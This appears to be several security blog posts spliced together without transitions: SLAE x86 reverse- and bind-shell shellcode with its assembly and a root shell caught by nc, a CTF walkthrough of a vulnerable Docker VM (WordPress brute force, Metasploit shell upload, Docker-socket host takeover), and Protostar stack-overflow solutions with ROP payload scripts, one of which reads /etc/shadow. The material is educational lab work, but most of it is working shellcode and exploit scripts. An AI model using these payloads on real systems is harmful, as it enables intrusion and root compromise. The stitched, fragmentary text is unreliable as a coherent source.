8048082: 6a 10 push 0x10
8048084: 5a pop edx
8048085: cd 80 int 0x80
8048087: 6a 02 push 0x2
8048089: 59 pop ecx
0804808a <bind_dup2_loop>:
804808a: 6a 3f push 0x3f
804808c: 58 pop eax
804808d: cd 80 int 0x80
804808f: 49 dec ecx
8048090: 79 f8 jns 804808a <bind_dup2_loop>
8048092: 99 cdq
8048093: 50 push eax
8048094: 6a 0b push 0xb
8048096: 58 pop eax
8048097: 68 6e 2f 7368 push 0x68732f6e
804809c: 68 2f 2f 6269 push 0x69622f2f
80480a1: 89 e3 mov ebx,esp
80480a3: 41 inc ecx
80480a4: cd 80 int 0x80
Shellcode size: 70
\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x93\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x10\x92\x66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x99\x50\x6a\x0b\x58\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80
cc -DSHELLCODE=`asm-opcodes reverse` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1234567
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1](family 0, port 4242)Connection from localhost 38844 received!
id
uid=0(root)gid=0(root)groups=0(root)# ./shellcodeShellcode length: 70
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
In contrast with the shellcodes in shell-storm.org and exploit-db.com, this one is using the well known socket functions. According to socketcall(2) these are also available as system calls since Linux version 4.3.
I’ve also decided not to call setsockopt(2) to reuse the port and relied on some implementation-specific behaviour to keep the shellcode smaller.
To perform a network I/O operation a process needs to first call socket(2) by specifying the desired protocol and to obtain a file descriptor:
socket(2) prototype
1
intsocket(intdomain,inttype,intprotocol);
The domain (also known as family) is implementation-defined, but most of the time it is one of:
All of the asm- auxiliary shell scripts used throughout this series that are under the bin directory, should obviously be in the PATH environment variable. With this in mind the registers will contain the following before and after the system call:
The bind shell will use the AF_INET family with a SOCK_STREAM type. Beware that not all combinations of family and type are valid. Then, one needs to use bind(2) to assign a local protocol address to the socket:
The socket address structure, in this case, has to be manually packed and will be IPv4 specific. Nowadays, one should use getaddrinfo(3) and sockaddr_storage which is large enough for any socket structure, instead:
Per the UNP book, it isn’t mandatory to choose a port nor an address to bind to. In that case, the kernel picks an ephemeral port and uses the destination IP address of the client’s SYN as the server’s source IP address.
IPv4 socket structure
12345678910
structin_addr{in_addr_ts_addr;/* 32-bit IPv4 address */};/* used to be a union on 4.2BSD */structsockaddr_in{sa_family_tsin_family;/* 16-bit family (AF_INET) */in_port_tsin_port;/* 16-bit port number */structin_addrsin_addr;/* 32-bit address */charsin_zero[8];/* unused */};
According to Stevens, the sin_zero member was added so that all socket address structures are at least 16 bytes in size and isn’t really required when it is going to be used with the wildcard address.
The socket structures are casted to the generic socket address structure, due to the functions having to deal with a multitude of protocol families (IPv4, IPv6, Unix and datalink, for instance). One could have used void from ANSI C instead of the generic structure, however that was non-existent back in 1982.
IPv6 socket structure
1234567891011
structin6_addr{uint8_ts6_addr[16];/* 128-bit IPv6 address */};structsockaddr_in6{sa_family_tsin6_family;/* 16-bit family (AF_INET6) */in_port_tsin6_port;/* 16-bit port number */uint32_tsin6_flowinfo;/* 32-bit flow information */structin6_addrsin6_addr;/* 128-bit address */uint32_tsin6_scope_id;/* 32-bit scope ID */};
The important part here is that the family struct members match, so that it can be freely accessed when casted to the generic socket structure.
This is the point where setsockopt(2) could be used to prevent the address is already in use error, which might occur if there are still previously established connections lying around.
For the listen(2) system call, according to SUSv4 a backlog argument of 0 may allow the socket to accept connections, in which case the length of the listen queue may be set to an implementation-defined minimum value. This works if SYN cookies are enabled, which is usually the case with recent versions.
Next and finally in the flow is the accept4(2) call which is used to return a completed connection from the queue, if any. On success the return value is a new file descriptor created by the kernel to be used with the recently established connection:
The second and third arguments are used by the kernel to fill the address structure of the newly connected peer. According to the manual page these aren’t really needed and can be both NULL.
For the execve(2) system call there’s no need to specify argv and envp, since according to the manual page on Linux, argv and envp can be specified as NULL. This is obviously non-standard and might result in an error on other systems.
The standard input, output and error file descriptors need to be redirected with dup2(2) beforehand to the recently accept4(2) file descriptor in order to have interaction with the created shell.
Running the shellcode is only a matter of configuring the desired listening port with the optional -l command-line argument (4242/tcp by default) and running make. This process also ensures that it is \x00 free and automatically compiles the usual C file that executes the shellcode:
--- ../../0x01-bind/bind.asm.in 2018-05-21 00:35:48.689635600 +0100+++ setsockopt.asm 2018-05-21 00:41:40.340303200 +0100@@ -1,9 +1,12 @@+; Like the bind shell but with a call to setsockopt(2). Allows a server to bind+; to a port even if there are previously established connections. Also useful+; when there are multiple local aliased IP addresses listening on the same port.+ global _start
section .text
_start:
xor eax, eax
- xor esi, esi ; will always hold the value 0 cdq ; set edx to zero as well, by sign extending eax
mov ax, 0x167 ; use mov instead of push imm16 and pop r16
@@ -15,7 +18,18 @@ ; edx (protocol) initialized to zero by the cdq instruction above
int 0x80
+ xchg edx, ebx ; SO_REUSEADDR xchg ebx, eax ; fd on ebx from this point below
+ mov ax, 0x16e ; use mov instead of push imm16 and pop r16+ ; int setsockopt(int, int, int, const void *, socklen_t)+ ; ecx (level) is already 1 from the above socket(2) call+ push 0x1 ; enabled+ mov esi, esp ; optval+ push 0x4 ; 4 bytes+ pop edi ; optlen+ int 0x80++ xor esi, esi ; will always hold the value 0 mov ax, 0x169 ; use mov instead of push imm16 and pop r16
; int bind(int, const struct sockaddr *, socklen_t)
push esi ; INADDR_ANY
Since this is running WordPress, the standard WPScan flags to enumerate
information were used. Nothing relevant popped besides its users:
123456789
[snip][+] Enumerating usernames ...[+] Identified the following 1 user/s: +----+-------+-----------------+ | Id | Login | Name | +----+-------+-----------------+ | 1 | bob | bob _ NotSoEasy | +----+-------+-----------------+[snip]
With this, brute-forcing seemed the next logical step. Used the rockyou wordlist
to obtain the password:
1234567
[snip]+----+-------+------+----------+| Id | Login | Name | Password |+----+-------+------+----------+| | bob | | Welcome1 |+----+-------+------+----------+[snip]
Logging in reveals the first flag in a WordPress draft:
Decided with using Metasploit for an interactive shell:
123456
msf > use exploit/unix/webapp/wp_admin_shell_uploadmsf exploit(wp_admin_shell_upload) > set password Welcome1msf exploit(wp_admin_shell_upload) > set rhost ...msf exploit(wp_admin_shell_upload) > set rport 8000msf exploit(wp_admin_shell_upload) > set user bobmsf exploit(wp_admin_shell_upload) > run
After unsuccessfully scouring the Web for an exploit that affected this kernel
version, tried to horizontally escalate privileges by finding containers on the
same user-defined network. To obtain more reliable results, a statically
compiled nmap was sent to the machine to perform a ping sweep and a TCP scan.
1234567891011
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 09:46 UTCCannot find nmap-payloads. UDP payloads are disabled.Nmap scan report for 172.18.0.1Host is up (0.00053s latency).Nmap scan report for content_db_1.content_default (172.18.0.2)Host is up (0.00040s latency).Nmap scan report for content_ssh_1.content_default (172.18.0.3)Host is up (0.00029s latency).Nmap scan report for 8f4bca8ef241 (172.18.0.4)Host is up (0.00025s latency).Nmap done: 256 IP addresses (4 hosts up) scanned in 2.97 seconds
1234567891011121314151617181920212223242526272829
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 10:02 UTCCannot find nmap-payloads. UDP payloads are disabled.Nmap scan report for 172.18.0.1Host is up (0.00016s latency).Not shown: 65533 closed portsPORT STATE SERVICE22/tcp open ssh8000/tcp open http-altNmap scan report for content_db_1.content_default (172.18.0.2)Host is up (0.00049s latency).Not shown: 65534 closed portsPORT STATE SERVICE3306/tcp open mysqlNmap scan report for content_ssh_1.content_default (172.18.0.3)Host is up (0.00047s latency).Not shown: 65533 closed portsPORT STATE SERVICE22/tcp open ssh8022/tcp open oa-systemNmap scan report for 8f4bca8ef241 (172.18.0.4)Host is up (0.00015s latency).Not shown: 65534 closed portsPORT STATE SERVICE80/tcp open httpNmap done: 4 IP addresses (4 hosts up) scanned in 6.19 seconds
Scanning revealed a potential target with port 8022/tcp open. Reaching it is
possible with meterpreter port-forwarding:
Accessing it on a browser spawns a shell on the DB container as root. While
enumerating this new container, noticed that the Docker socket is available in
the /var/run directory, thus, giving full control of the daemon on the host.
12
/ $ iduid=0(root) gid=0(root) groups=0(root)
Since the vulnerable Virtual Machine wasn’t started with NAT configured, to
interact with the UNIX domain socket, a locally and statically compiled cURL
was sent as base64 to the remote machine as a WordPress draft and extracted
with the MySQL client:
123
/ $ mysql -h 127.0.0.1 -u wordpress \ -e 'select post_content from wordpress.wp_posts where ID = 151' \ -p >curl
Next a container with a host bind mount was created and started by using the
REST API:
With a container created with full access to the host root directory under /srv,
it is only a matter of creating a tarball with a SSH public key (which can be
uploaded using the same method as above):
Connecting via SSH on the externally standard available port:
1234
root@vulndocker:/# id
uid=0(root) gid=0(root) groups=0(root)root@vulndocker:/# head -n1 flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6
Scanning with nmap reveals that the host is exposing the Docker daemon on port
2375/tcp. Connecting and interacting with it is possible:
123456789101112131415161718
#export DOCKER_HOST=tcp://172.19.0.108:2375
# docker version
Client: Version: 17.05.0-ce API version: 1.29 Go version: go1.8.1 Git commit: v17.05.0-ce Built: Tue May 16 10:10:15 2017 OS/Arch: linux/amd64Server: Version: 17.06.0-ce API version: 1.30 (minimum version 1.12) Go version: go1.8.3 Git commit: 02c1d87 Built: Fri Jun 23 21:17:13 2017 OS/Arch: linux/amd64 Experimental: false
Having direct access to the daemon is a big no-no. This gives the ability to
execute any commands on the remote daemon, like creating a new container and
taking advantage of the shared filesystem (-v) functionality, by bind-mounting
the host root directory and having access to all of its files:
1234567891011121314151617181920212223242526
# docker run -v /:/srv -it --rm wordpress:latest bash
root@23890602df34:/var/www/html# ls -l /srv
total 80drwxr-xr-x 2 root root 4096 Aug 16 17:04 bindrwxr-xr-x 3 root root 4096 Aug 22 14:11 bootdrwxr-xr-x 14 root root 4080 Nov 1 10:26 devdrwxr-xr-x 90 root root 4096 Nov 1 10:26 etc-r-------- 1 root root 414 Aug 21 20:30 flag_3drwxr-xr-x 4 root root 4096 Aug 16 05:56 homelrwxrwxrwx 1 root root 34 Aug 16 08:30 initrd.img -> boot/initrd.img-3.13.0-128-genericdrwxr-xr-x 21 root root 4096 Aug 16 06:36 libdrwxr-xr-x 2 root root 4096 Aug 16 06:36 lib64drwx------ 2 root root 16384 Aug 14 08:02 lost+founddrwxr-xr-x 3 root root 4096 Aug 14 08:03 mediadrwxr-xr-x 2 root root 4096 Apr 10 2014 mntdrwxr-xr-x 2 root root 4096 Apr 16 2014 optdr-xr-xr-x 108 root root 0 Nov 1 10:26 procdrwx------ 4 root root 4096 Aug 22 14:19 rootdrwxr-xr-x 19 root root 700 Nov 1 10:26 rundrwxr-xr-x 2 root root 4096 Aug 16 17:04 sbindrwxr-xr-x 2 root root 4096 Apr 16 2014 srvdr-xr-xr-x 13 root root 0 Nov 1 10:26 sysdrwxrwxrwt 2 root root 4096 Nov 1 10:30 tmpdrwxr-xr-x 10 root root 4096 Aug 14 08:02 usrdrwxr-xr-x 12 root root 4096 Aug 14 08:12 varlrwxrwxrwx 1 root root 31 Aug 16 08:30 vmlinuz -> boot/vmlinuz-3.13.0-128-generic
Since when running nmap revealed that the host is also making use of SSH, having
the host root directory mapped, it’s only a matter of generating a key and
logging in to get root on the compromised host:
1234
root@vulndocker:~# id
uid=0(root) gid=0(root) groups=0(root)root@vulndocker:/# head -n1 /flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6
Nice refresher with regards to the volatile type qualifier. It is needed to
prevent the compiler from optimizing it away, given that it’s “always” set to
zero (it might remove the if condition altogether). This is specially true for
signal handlers:
1234567891011
sig_atomic_tquit=0;/* Needs volatile! */voidsigterm(intsig){quit=1;}while(quit!=0){/* This might be transformed to while (true). */...}
Given that the buffer is 64 bytes in size and the stack layout, writing one more
will copy one over modified:
H +-------------+
| ... |
| modified |
| buffer[64] | /* Being power of two means that it's aligned. */
| ... |
L +-------------+
To trigger the condition, the following command can be issued:
12
$ python -c 'print "1" * 65'|./stack0
you have changed the 'modified' variable
stack1
Like the above, given that the address of modified is four bytes above the
buffer and (like the exercise says) by taking into account that this is a little
endian platform (i386):
1234
$ ./stack1 `python -c 'print "A" * 64 + "\x64\x63\x62\x61"'`# or,you have correctly got the variable to the right value$ ./stack1 `python -c 'print "A" * 64 + "dcba"'`you have correctly got the variable to the right value
stack2
The same as the last one but with an environment variable:
12
$ env GREENIE="`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d"'`" ./stack2
you have correctly modified the variable
stack3
Disassembling, like the exercise says, with objdump and retrieving the address
of the win() function yields the expected results:
12
$ objdump -d stack3|grep win08048424<win>:
123
$ python -c 'print "A" * 64 + "\x24\x84\x04\x08"'|./stack3
calling function pointer, jumping to 0x08048424code flow successfully changed
stack4
A poor man’s fuzzer can be used to guess the EIP address (and while at it, to
take advantage of the redirect operator in gdb, like the exercise says):
123
$ python -c 'print "A" * offset + "B" * 4' >/tmp/dump
$ gdb ./stack4
(gdb) r </tmp/dump
The offset should be incremented until (76) the program crashes with a segfault
in the 0x42424242 address. Now that EIP is under control, the above can be used
to obtain the address of win:
The padding, like the exercise says, is added by the compiler.
stack5
This was kind of tricky, since the stack isn’t in the same place inside and
outside GDB. The environment and the arguments vector (ie argv) must be the
same.
First, brute-forced the number of bytes needed to overwrite EIP (76 in this
case) and obtained the address of the stack with GDB:
With the usual methodology, it was noticed that EIP is under control when
overwriting at least eighty characters. The traditional ret2libc with the
system function and faking a stack frame works as expected:
As for the ROP one, I’ve opted by using a rather pointless open(2), read(2),
write(2) and finally system(3) chain to play around a little. The gadgets
addresses can be obtained by using objdump. Jumping to the middle of a multiple
pop sequence might be needed and that’s okay.
#!/usr/bin/pythonfromstructimportpackoff=80# int open(const char *, int);openaddr=pack("<L",0xb7f537a0)pop2=pack("<L",0x08048452)openpath=pack("<L",0xbfffffd6)# SHADOW variable.openflgs=pack("<L",0x0)# O_RDONLY# ssize_t read(int, void *, size_t);readaddr=pack("<L",0xb7f53c00)pop3=pack("<L",0x08048576)readfd=pack("<L",0x3)# Only the standard ones are open.readbuf=pack("<L",0xbffff73c)# getpath() buffer.readcnt=pack("<L",0x40)# 64 bytes.# ssize_t write(int, const void *, size_t);writeaddr=pack("<L",0xb7f53c70)writefd=pack("<L",0x2)# stderr is unbuffered.writebuf=readbufwritecnt=readcnt# int system(const char *);sysaddr=pack("<L",0xb7ecffb0)pointless="FAKE"syscmd=pack("<L",0xbfffffc7)# SHELL variable.payload="A"*offpayload+=openaddr+pop2+openpath+openflgspayload+=readaddr+pop3+readfd+readbuf+readcntpayload+=writeaddr+pop3+writefd+writebuf+writecntpayload+=sysaddr+pointless+syscmdprintpayload
Beware that the environment inherited from the parent may play tricks due to not
being the same. Executing it through a clean environment all the time, such as
the one below, solves this kind of issues:
H +---------------------+
| ret (the variable) |
| buffer [0x41 * 80] | <= 0xbffff73c
| open(2) | <= 0xb7f537a0
| POP POP RET | <= 0x08048452
| /etc/shadow | <= SHADOW variable.
| openflgs | <= O_RDONLY
| read(2) | <= 0xb7f53c00
| POP POP POP RET | <= 0x08048576
| 0x3 |
| buffer | <= 0xbffff73c
| 0x40 |
| write(2) | <= 0xb7f53c70
| POP POP POP RET | <= 0x08048576
| 0x2 |
| buffer | <= 0xbffff73c
| 0x40 |
| system(3) | <= 0xb7ecffb0
| FAKE |
| /bin/sh | <= SHELL variable.
L +---------------------+
stack7
Like the one above, this also places restrictions in the address that we are
allowed to jump to. Therefore, like the exercise says we need to bypass this
restriction by returning to a text section.
Decided with a straight ret opcode one, that pops the last value from the stack
and updates EIP to that address (the system(3) function).
12345678910111213141516
#!/usr/bin/pythonfromstructimportpackoff=80ret=pack("<L",0x080484c2)# the ret instruction (frame_dummy)sys=pack("<L",0xb7ecffb0)# system(3)sh=pack("<L",0xbfffffbd)# /bin/shpayload="A"*offpayload+=retpayload+=syspayload+="FAKE"payload+=shprintpayload